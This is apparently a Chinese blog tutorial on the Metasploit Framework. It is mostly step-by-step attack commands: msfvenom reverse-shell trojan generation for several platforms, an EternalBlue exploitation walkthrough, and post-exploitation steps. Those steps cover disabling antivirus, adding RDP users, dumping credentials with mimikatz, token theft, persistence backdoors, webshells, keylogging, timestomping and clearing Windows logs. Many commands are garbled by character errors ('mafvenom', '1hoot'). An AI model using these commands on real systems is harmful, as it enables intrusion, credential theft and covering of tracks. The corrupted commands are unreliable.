渗透测试之工具类 渗透利器 人人都可以成为黑客 【The Metasploit Framework】简称MSF 一篇文章详解 这个黑客利器工具 读完你能完成很大一部分的渗透测试工作哦

目录

msf生成木马命令

说明:

MSF更新方式

MSF模块属于解释

 Modules 详解

渗透测试攻击步骤

基本命令使用

公开漏洞利用查找方式

win漏洞举例 利用msf进行攻击

ms17-010 蓝屏操作

Linux漏洞举例利用msf进行攻击

MSF木马生成程序

Auxiliaries(辅助模块)

端口扫描功能

Nmap

syn扫描

使用msf的扫描工具 SYN 模式

TCP扫描

服务版本信息探测

smb版本扫描

FTP版本扫描

Post (后渗透攻击)

进程迁移

系统命令

  Run post/windows/manage/killav

  Run post/windows/manage/enable_rdp

  Run post/windows/manage/autoroute

Run post/windows/gather/enum_logged_on_users

Run post/windows/gather/enum_applications

Run windows/gather/cardntials/windows_autologin

  Screengrab

文件系统命令

Pwd 处于目标机器那个目标

Getwd 处于本地哪个目录

Search -f *.txt -d c:\ -f 文件模式搜索 -d指定目录搜索

权限提升

whoami/groups

举例溢出漏洞

举例令牌窃取

举例hash【密码】攻击

移植漏洞利用代码模块

举例-MS17-010

windows-后门

后门如何玩耍 记住以下三点

Web后门

生成webshell命令再msf

内网攻击与渗透测试过程

后渗透操作命令集合

上传文件ls

从windows主机下载文件

在目标主机上执行exe文件

创建cmd新通道和shell指定一样

Ps 显示进程

Shell 进入win shell

getSystem 获取admin权限

在目标主机上搜索文件

sysinfo命令会显示系统名称 操作系统 架构和语言

timestomp伪造时间戳

enable_rdp脚本开启3389

键盘记录

Clearev 清楚windows应用日志 系统日志 安全日志


msf生成木马命令

  1. 生成普通的Windows木马

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.111.136 lport=4411 -f exe -o 1.exe

  2. 生成经过编码的Windows木马

    • mafvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -1 3 -e x86/ahikita_ga_nai 1hoot-192.168.0.1 port=4444 -! exe -0 /tmp/shell.exe生成L1nux木马

    • mafvenom -D 11nux/x86/meterpreter/reverse_tcp 1host=192.168.0.1 port=4444 -f  el!>/tmp/shell.elf

  3. 生成macog木马

    1. patvenom -D 0ax/x86/shell_reverse_tcp lhost-192.168.0.1 port=4444 -f macho > /tmp/shell.macho

  4. 生成 PHP木马

    1. matvenom -D php/meterpreter/reverse_tcp lhost-192.168.0.1 port=4444 -f raw

  5. 生成ASP木马

    1. fvenon -p windows/neterpreter/reverse_tcp lhost=192.168.0.1 port=4444 -f asp

  6. 生成ASPX木马

    1. sfvencm -D windows/neterpreter/reverse_tcp lhost=192.168.0.1 port=4444 -f aspx-D Java/jsp_shell_reverse_tcp lhost=192.168.0.1 port=4444 -f raw

    2. nsfvenon -p windows/meterpreter/reverse_tcp lhost=192.168.0.1 port=4444 -f

  7. 生成Bash木马

    1. matvenon -p cnd/unix/reverse_baah lhoat-192.168.0.1 port=4444 -f bagh

  8. 生成 Per木马

    1. msfvenom -p cd/unix/reverse_perl lhost=192.168.0.1 port=4444 -f raw

备注: 这个有什么作用这个后面的文档会有解释的


说明:

  1. 渗透测试主要目的是利用数据系统并获得凭证,或直接访问感兴趣得数据。正是漏洞利用使渗透测试有了意义。

  2. Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。

  3. 它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具,在kali系统中已经集成好了。

  4. MSF 可向后端模块提供多种用来控制的测试接口【控制台 web client】

  5. Ctrl+Z 将msf放入后台

MSF更新方式

  1. Apt-get update 只更新软件包的索引源。

  2. Apt-get upgrade 升级系统安装的所有软件包,若更新失败,所涉及的包会恢复更新之前的状态。

  3. Apt-get dist-upgrade: 升级整个Linux系统 升级所有的软件包以及系统

  4. 渗透进入win是乱码 在msf中输入 输入chcp 65001

  5. 搜索不到最新得exploit 我们输入msfupdate命令进行升级 获取最新得exploit 攻击载荷 或者手动添加相应漏洞EXP。


MSF模块属于解释

 Modules 详解

  • Modules:用户用到的各种模块几乎都在这里 ,用户使用use这个msf这里时,就是用到了这个目录下的模块。

    • 这个目录下的文件在msfconsole启动时会被自动加载的,如果看到msfconsole启动时有出错信息但又能成功启动可以根据出错信息找解决方法,个人写的Module也可以放在这个目录下。

    • 下面的工具都在这个modules文件夹中。


  1. Auxiliary【辅助模块】:主要包含渗透测试中一些辅助性的脚本

    1. 例如我们要开对象的3386、22端口等或者建立一个账号等操作都在这里,这些脚本功能有扫描,嗅探,破解,注入,漏洞挖掘等。

  2. Encoders【编码工具模块】:各种编码和加密工具,用于躲过入侵检测和过滤系统

    1. 比如对我们生成的木马要进行免杀,可以编码一下等。

  3. Exploits【漏洞利用模块】:针对特定漏洞得代码片段。

    1. 主动攻击利用一个特定得目标,运行知道完成,然后退出【缓冲区溢出】被动攻击利用等待传入得主机,如web浏览器或者ftp客户端,并在他们连接得实话攻击。

  4. Nops【空指令模块】:

    1. 这些被用来攻击过程中促进缓冲区溢出。

  5. Payloads-攻击载荷模块:

    1. 这些是在成功利用后立即执行命令得恶意代码。

  6. Post:

    1. 这个目录里放着msf 的exploits执行成功后,向目标机发送的一些功能性指令比如:提权,获取hash等。


渗透测试攻击步骤

  • 使用msf渗透测试的实话,我们就会综合利用上面的模块,对目标系统进行侦察并且发起攻击

    • 扫描目标机器系统,寻找可利用的漏洞。

    • 选择并且配置一个漏洞利用模块。

    • 选择并配置一个攻击载荷模块。

    • 选择一个编码技术,用来绕过杀毒软件的查杀。

    • 渗透攻击


基本命令使用

  1. Msfconsole 控制台

    1. 进入到控制台选项 也就是连接了其它的接口功能

  2. ? 帮助菜单

  3. ? Banner 具体用法

  4. Search ms08-07 搜索具体漏洞

  5. Use 使用命令

  6. Back 当前环境返回

  7. Banner 显示一个msf的banner

  8. Connect 连接一个主机

    1. Connect www.baidu.com 80

  9. Exit 退出msf

  10. Info 显示一个或多个模块信息

  11. Irb 进入irb脚本模式

  12. Jobs 显示和管理作业

  13. Kill 杀死一个作业

  14. Loadpath 加载一个模块路径

  15. Load 加载一个插件

  16. Resource 运行存储一个文件在命令做中

  17. save保存动作

  18. set给一个变量赋值

  19. Show 显示个所有类型的模块

  20. Version 显示msf控制台版本


公开漏洞利用查找方式

渗透测试人员我们经常使用得公共漏洞得数据档案 是Exploit-DB【EDB】

  • searchsploit 是kali一个简单得工具用于从EDB中找到所有漏洞

  • searchsploit exchange windows remote


win漏洞举例 利用msf进行攻击

ms17-010 蓝屏操作

使用命令多次使用命令就熟悉了

  1. 输入msfconsole

    1. 进入到msf的控制台界面

  1. Search ms17-010 搜索漏洞 通过cve来查找 国际漏洞编号 search /cve:编号

    1. search命令搜索哪些可用的模块。

    2. 就会出现扫描列表 查看哪些漏洞列表

    3. Search 也就是搜索自己得漏洞集

  • 搜索出来好几个ms17-010,到底哪个是win7的攻击漏洞,我们要根据提示信息和手动验证的方式来验证,或者去网上查一下哪个是针对win7的,我已经给大家找到了,如下:一般exploit开头的都是直接渗透攻击的工具,也就是在这里面选。路径中的smb表示服务的意思。已经确认是第二个了

  1. 运行use exploitwindows/smb/ms17_010_eternalblue

    1. 或者use加搜索出来的工具编号,比如:use 20

  1. 使用info 指令查看漏洞具体信息

    1. 返回得信息包含引用以及漏洞相关漏洞信息。

  1. Show options 查看攻击参数

    1. 出现yes 就是必填项

    2. 我们直接set 参数即可

    3. 也可以使用unset命令取消某个参数的设置

  1. Set rhost 192.168.1.8 设置攻击载荷

  1. 使用run执行攻击

  • 连接上 对方win7系统

  1. 输入shell 就了解上对方的shell

  2. 后面需要进行相关操作 那么就需要进行提权操作,方便后续的内网渗透以及域渗透。

  3. 这个后面有空再说吧!

Linux漏洞举例利用msf进行攻击

MSF木马生成程序

  • 生成木马的命令

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f exe -o payload.exe。

  2. msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python 可以生成各种语言的木马。

  3. 退出exit 就可以发现生成payload.exe

  4. 这个是一个反向连接的木马

    1. 正向连接(bind_tcp)没有反向连接(reverse_tcp)功能强

    2. 因为反向连接可以穿防火墙,因为一般你请求出去,那么防火墙不管,进来就管了。

search multi/handler

  1. Use 5 默认的playload 是这样的 需要进行修改

      set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.1.7

  1. win7 下载木马程序

  1. 连接成功

Auxiliaries(辅助模块)

  • 在扫描器目标机器上运行服务,有多种基于服务的扫描技术可以提供选择。

  • 通过search搜索scanner可以发现大量的扫描模块 以下是举例常用的辅助扫描模块。

metasploit-framework/modules/auxiliary/scanner/portscan端口扫描
metasploit-framework/modules/auxiliary/scanner/smb/smb_versionsmb系统版本扫描
metasploit-framework/modules/auxiliary/scanner/smb/smb_enumuserssmb枚举
metasploit-framework/modules/auxiliary/scanner/smb/smb_loginsmb弱口令扫描
metasploit-framework/modules/auxiliary/scanner/smb/psexec_commandsmb登录且执行命令
metasploit-framework/modules/auxiliary/scanner/ssh/shh_loginssh登录测试
metasploit-framework/modules/auxiliary/scanner/mssql/mssql_pingmssql主机信息扫描
metasploit-framework/modules/auxiliary/admin/mssql/mssql_enummssql枚举
metasploit-framework/modules/auxiliary/admin/mssql/mssql_execmssql执行命令
metasploit-framework/modules/auxiliary/admin/mssql/mssql_sqlmssql查询
metasploit-framework/modules/auxiliary/scanner/mssql/mssql_loginmssql弱口令扫描
metasploit-framework/modules/auxiliary/admin/mysql/mysql_enummysql枚举
metasploit-framework/modules/auxiliary/admin/mysql/mysql_sqlmysql语句执行
metasploit-framework/modules/auxiliary/scanner/mysql/mysql_loginmysql语句弱口令执行
metasploit-framework/modules/auxiliary/scanner/smtp/smtp_versionsmtp版本扫描
metasploit-framework/modules/auxiliary/scanner/smtp/smtp_enumsmtp枚举
metasploit-framework/modules/auxiliary/scanner/snmp/communitysnmp扫描设备
metasploit-framework/modules/auxiliary/scanner/telnet/telnet_logintelnet登录
metasploit-framework/modules/auxiliary/scanner/vnc/vnc_none_authnvc空口令扫描

端口扫描功能

Nmap

syn扫描

  1. 扫描器向目标主机的一个端口发送请求连接的SYN包,扫描器在收到SYN/ACK后,不是发送的ACK应答而是发送RST包请求断开连接。

  2. 这样,三次握手就没有完成,无法建立正常的TCP连接,因此,这次扫描就不会被记录到系统日志中。这种扫描技术一般不会在目标主机上留下扫描痕迹。

  3. 但是,这种扫描需要有root权限。

TCP connect端口扫描服务端与客户端建立连接成功(目标端口开放)过程:

① Client端发送SYN;

② Server端返回SYN/ACK,表明端口开放;

③ Client端返回ACK,表明连接已建立;

④ Client端主动断开连接。

TCP connect端口扫描服务端与客户端未建立连接成功(目标端口关闭)过程:

① Client端发送SYN;

② Server端返回RST/ACK,表明端口未开放。

端口开放:

1、Client发送SYN ;

2、Server端发送SYN/ACK ;

3、Client发送RST断开(只需要前两步就可以判断端口开放)。

端口关闭:

1、Client发送SYN ;

2、Server端回复RST(表示端口关闭)

优点:

SYN扫描要比TCP Connect()扫描隐蔽一些,SYN仅仅需要发送初始的SYN数据包给目标主机,如果端口开放,则相应SYN-ACK数据包;如果关闭,则响应RST数据包;

使用msf的扫描工具 SYN 模式
  1. use auxiliary/scanner/portscan/syn

  2. Show options

  1. Set rhost 192.168.1.9

  2. Set threads 100

  3. Run

TCP扫描

  1. 使用命令 use auxiliary/scanner/portscan/tcp

  2. Show options

  3. Set RHOST

  4. Set THREADS 50

  5. run

服务版本信息探测

smb版本扫描

  1. 命令:use auxiliary/scanner/smb/smb_version

  2. Show options

  3. Set RHOST 192.168.1.8

  4. Run

FTP版本扫描

  1. 命令:use auxiliary/scanner/ftp/ftp_version

Post (后渗透攻击)

  • 纯内存工作模式,不需要对磁盘进行任何写入操作。

  • 使用加密通讯协议,而且额可以同事于几个通道通信。

  • 在被攻击进程内工作,不需要创建新的进程。

  • 易于在多进程之间迁移。

  • 平台通用性 适用于windows linux bsd。

进程迁移

渗透进去后其shell是十分脆弱的,很有可能被用户关闭的,所以我们攻击进去后一定要移动这个shell,把这个shell和目标机器中一个稳定的进程绑定到一起,不需要对磁盘进行任何写入的操作,这样渗透进入的shell就很难被检测。

  • 使用ps获取正在运行的目标机器进程

  • 使用getpid查看msf的shell进程号

  • 使用migrate 找到ie浏览器进程号 进程完成进程迁移

    • 进程迁移完成后原先的msf进程号会被kill掉这个后期自己使用ps研究一下。

    • 这样就获得了一个稳定的进程。方便与后期渗透

系统命令
  • Sysinfo 获取目标机器系统信息

  • run post/windows/gather/checkvm

    • 检查是不是运行在虚拟机上

  • Ideletime 查看目标机器正在运行的时间

  • 关闭目标系统杀毒软件

      Run post/windows/manage/killav
  • 启动目标机器远程桌面协议

      Run post/windows/manage/enable_rdp

  • 查看网络结构

      Run post/windows/manage/autoroute
  • 当前有多少用户登录了目标机器

Run post/windows/gather/enum_logged_on_users

  • 查看目标机器的安装应用程序

Run post/windows/gather/enum_applications
  • 抓取自动登录的用户名和密码

Run windows/gather/cardntials/windows_autologin
  • 屏幕截图

  • Load espia 加载espia插件

      Screengrab
文件系统命令
Pwd 处于目标机器那个目标
Getwd 处于本地哪个目录
Search -f *.txt -d c:\ -f 文件模式搜索 -d指定目录搜索

权限提升
  • 通常情况下我们只获得一个系统的guest或者usesr权限地权限会使得我们受到很多限制,在实施横向渗透获取权限攻击的实话很困难。

  • 没有对应权限,我们就无法进行hash 安全软件 修改防火墙和修改注册表操作。

  • 渗透测试的最终目标是获取服务器的最高权限方便横向以及纵向扩展。

  1. 查看我们当前的用户的权限

whoami/groups
举例溢出漏洞

先说明:

  • 内存溢出提出最高权限,也就是通过本地溢出的权限提出最高的权限,也就是通过运行一下现成的,能造成溢出漏洞得exploit。就可以把user从其它用户组提升到administrator

  • 计算机有个地方叫缓存区,程序得缓存区长度是事先被设定好的,如果用户输入得数据超过了这个缓冲区得长度,那么这个程序就会溢出。

  • https://blog.csdn.net/qq_25924971/article/details/129333268

  • MS16-032 提权

试验步骤

举例令牌窃取
  • 令牌就是系统得临时密钥相当于账户和密码用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。

  1. 首先getuid获取到当前用户是什么账号非管理员账号

  2. 使用use incognito命令

  3. 在使用list_tokens -u 列出可用得token

  4. impersonate_token jaden-PC \\test

举例hash【密码】攻击
  • Hashdump meterpreter脚本可以从目标机器提取hash值,破解hash值可获得登录密码。

  • 计算机中每个账号得用户名喝密码都存储在sam文件追踪,单计算机运行得说话,改文件对所有账号进行锁定,想要访问就必须有系统级账号。所以想使用这个命令就必须进行账号提权。

  • 拿到hash得文本文件 我们就 使用cmd5.com 或者 xmd5.com 解密

抓取密码得工具

  • windows密码系统存放在windows/system32/config/sam 文件

  • 首先使用upload命令将wce.exe上传到目标主机c盘中,然后再目标机shell下输入wce-w 便会成功提取到系统铭文管理源密码

Quarks PwDump 抓取密码

Windows Credentials Editor 抓取密码

Mimikatz抓取密码

说明: 如果服务器是64位操作系统,直接使用mimikatz后,msf默认会加载一个32位版本得mimikatz到内存,使得很多功能无效。而且再64位操作系统下必须查看系统进程列表ps,然后再加载mimikatz之前将进程迁移到一个64位程序得进程中,然后加载mimikat之前将进程迁移到一个64位程序得进程中,才能查看密码明文,再32位操作系统下就没有这个限制。

命令执行

creds_all: #列举所有凭据

creds_kerberos: #列举所有kerberos凭据

creds_msv: #列举所有msv凭据

creds_ssp: #列举所有ssp凭据

creds_tspkg: #列举所有tspkg凭据

creds_wdigest: #列举所有wdigest凭据

dcsync: #通过DCSync检索用户帐户信息

dcsync_ntlm: #通过DCSync检索用户帐户NTLM散列、SID和RID

golden_ticket_create: #创建黄金票据

kerberos_ticket_list: #列举kerberos票据

kerberos_ticket_purge: #清除kerberos票据

kerberos_ticket_use: #使用kerberos票据

kiwi_cmd: #执行mimikatz的命令,后面接mimikatz.exe的命令

lsa_dump_sam: #dump出lsa的SAM

lsa_dump_secrets: #dump出lsa的密文

password_change: #修改密码

wifi_list: #列出当前用户的wifi配置文件

wifi_list_shared: #列出共享wifi配置文件/编码

  • getsystem 提高权限到system

  • 启动 load mimikatz

  • Help kiwi 帮助文档

  • kiwi_cmd 查看mimikatz_cmmand得可用模块

  • kiwi_cmd -f hash:: 查看模块帮助文档

  • 抓取系统得hash值 creds_msv:#列举所有msv凭据

  • creds_kerberod 抓取系统票据

  • creds_wdigest 获取系统账户信息

  • lsa_dump_sam 抓取hash

  • cmd5破解即可获得密码 https://www.cmd5.org/

移植漏洞利用代码模块
举例-MS17-010
windows-后门
  • 说明:再完成提升权限之后,我们就应该建立后门【backdoor】,以便维持目标主机得控制权。 这样我们修复了漏洞,还是可以通过后门继续控制系统。

后门如何玩耍 记住以下三点
  1. 正规用户绕过安全体系得控制,从而维持对系统得控制权。

  2. 以隐匿控制系统得权限。

  3. msf提供了persistence等后渗透攻击模块 通过目标上安装自启动 永久服务等方式,来长期控制目标主机。

Persistence后门

  1. persisstence是一款安装自启动方式得持久性后台程序,使用者创建注册和文件。

    1. Run persistence -h

Cymothoa后门

  1. Cymothoa -S

  2. Cymothoa -p 982 -s 1 -y 4444

  3. Nc -nvv 192.168.1.8 4444

Web后门

web后门泛指webshell

  • 使用msfvenom创建一个webshell.php

  • 上传webshell.php到目标服务器

  • 运行metasploit multi-handler开始监听

  • 访问webshell.php页面

  • 获得反弹shell

生成webshell命令再msf
  1. msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.7 -f raw > shuteer.php

反弹shell 这个后面有空再蟹蟹看

内网攻击与渗透测试过程
  1. 也就是我们渗透了内网得一台服务器,然后扫描后发现了网络拓扑图,内网得其它服务器均不能直接连接。

  2. 我们得渗透目标是通过一个普通得webshell权限一步步得获得域管理权限,从而掌控整个内网。

  3. 这个后面有空我再补充进来

后渗透操作命令集合
  1. 上传文件ls
  1. 从windows主机下载文件
    • Download C:\\123.txt

  1. 在目标主机上执行exe文件
    • Execute -f c://1.exe

  1. 创建cmd新通道和shell指定一样
    • Execute -f cmd -c

  1. Ps 显示进程
  1. Shell 进入win shell
  1. getSystem 获取admin权限
  1. 在目标主机上搜索文件

Search -f *.txt

  1. sysinfo命令会显示系统名称 操作系统 架构和语言
  1. timestomp伪造时间戳
    • timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

  1. enable_rdp脚本开启3389
  1. run post/windows/manage/enable_rdp #开启远程桌面

  2. run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户,net user也是可以的

  3. run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662 跟它portfwd一样

  1. 键盘记录
    • keyscan_start #开始键盘记录

    • keyscan_dump #导出记录数据

    • keyscan_stop #结束键盘记录

  1. Clearev 清楚windows应用日志 系统日志 安全日志

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值